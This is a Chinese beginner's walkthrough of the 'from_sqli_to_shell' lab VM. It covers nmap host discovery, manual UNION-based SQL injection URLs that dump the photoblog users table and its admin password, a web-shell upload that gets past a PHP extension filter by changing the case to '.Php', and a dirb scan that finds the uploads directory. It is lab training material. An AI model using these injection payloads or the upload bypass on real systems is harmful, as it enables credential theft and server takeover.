from_sqli_to_shell靶机初体验
前期准备
1.安装好from_sqli_to_shell和kali(这里我用kali2022)
2.设置两台虚拟机网络适配器为–仅主机模式
3.查看虚拟网络编辑器
4.开机!
实战演练
信息收集
不知道靶机的IP地址,但是因为设置了仅主机模式,只知道他所处的网段192.168.20.0/24
,所以可以在kali上扫描主机,这里用到的命令是
nmap -sn 192.168.20.0/24
显而易见,靶机的ip地址为192.168.20.130
现在,我们需要查看靶机开了什么服务,相应的命令是
nmap -sS -sV -T4 -A -p- 192.168.20.130
从结果可以看出,靶机开了80端口,我们可以试着用网站访问一下
Attack!!
我们访问他的网站
凭着直觉,点击了Admin,出现的页面是一个登录界面
在尝试了各种办法,都无法登录(那就是我太菜了),直觉告诉我,这是一个后台管理的登录界面。想要登录成功,得先找到用户名和密码。
既然这里注入不了,难道就没有其他办法了吗?
别急,还没看完呢
在导航栏的这几个页面中我们可以看到url有可能存在sql注入
我们开始尝试注入,判断字段长度
http://192.168.20.130/cat.php?id=1 and 1=1 order by 4--+
所以字段数为4
接下来就是判断回显位置,我们试着输入
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,2,3,4--+
回显位置就出来了。现在,我们开始我们的sql注入之旅
手工注入
查看mysql数据库版本
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,version(),3,4--+
注:5.0以上有information_schema
查看当前数据库名字
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,database(),3,4--+
补充知识:
- information_schema:表示所有信息,包括库、表、列
- information_schema.tables:记录所有表名信息的表
- information_schema.columns:记录所有列名信息的表
- table_schema:数据库的名称
- table_name:表名
- column_name:列名
接下来是查找数据库photoblog的表名
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,table_name,3,4 from information_schema.tables where table_schema='photoblog'--+
既然是后台登录密码,那肯定是users表啦,问就是直觉哈哈
确定是users表后,就开始查users的列名
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,column_name,3,4 from information_schema.columns where table_schema='photoblog' and table_name='user'--+
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,login,3,4 from photoblog.users--+
http://192.168.20.130/cat.php?id=1 and 1=1 union select 1,password,3,4 from photoblog.users--+
查到密码是一段加密后的代码,我们放进md5进行解密
这时候用户名和密码都出来了
admin
P4ssw0rd
我们满怀信心得登录,最终成功了,进入了管理后台页面。
文件上传
啊哈,被我们发现了一个疑似文件上传的漏洞,坏心思涌上心头。上传个小马,用菜刀连接一下
没想象到靶机对php进行了过滤
那么既然有过滤,就有绕过。我们先试一下大小写。
用burpsuit拦截一下,如图
我们把php改成Php尝试一下,放行。
结果成功上传了,不得不说这个过滤还是有点走心的。
接下来该怎么办,如何知道上传的路径?
我想了想,kali不是有一个dirb扫描网站目录吗?
我立马去搜了一下相关命令
dirb http://192.168.20.130
我们发现有一个名为uploads的目录。这时候发挥一下想象力,这不就是上传吗?而且整个网站只有一个上传文件的地方,所以说,abc.Php很有可能在这里。
dirb http://192.168.20.130/admin/uploads -w -X .Php
不出所料,我们立刻用菜刀连接,配置如下
我们上传一个文件看看
成功了,nice!
总结
这次靶机总体来说难度不高,基础入门。
本人也很菜,技术嘛,刚入门吧,如果大佬们觉得我做的不好的地方,欢迎指出,虚心请教。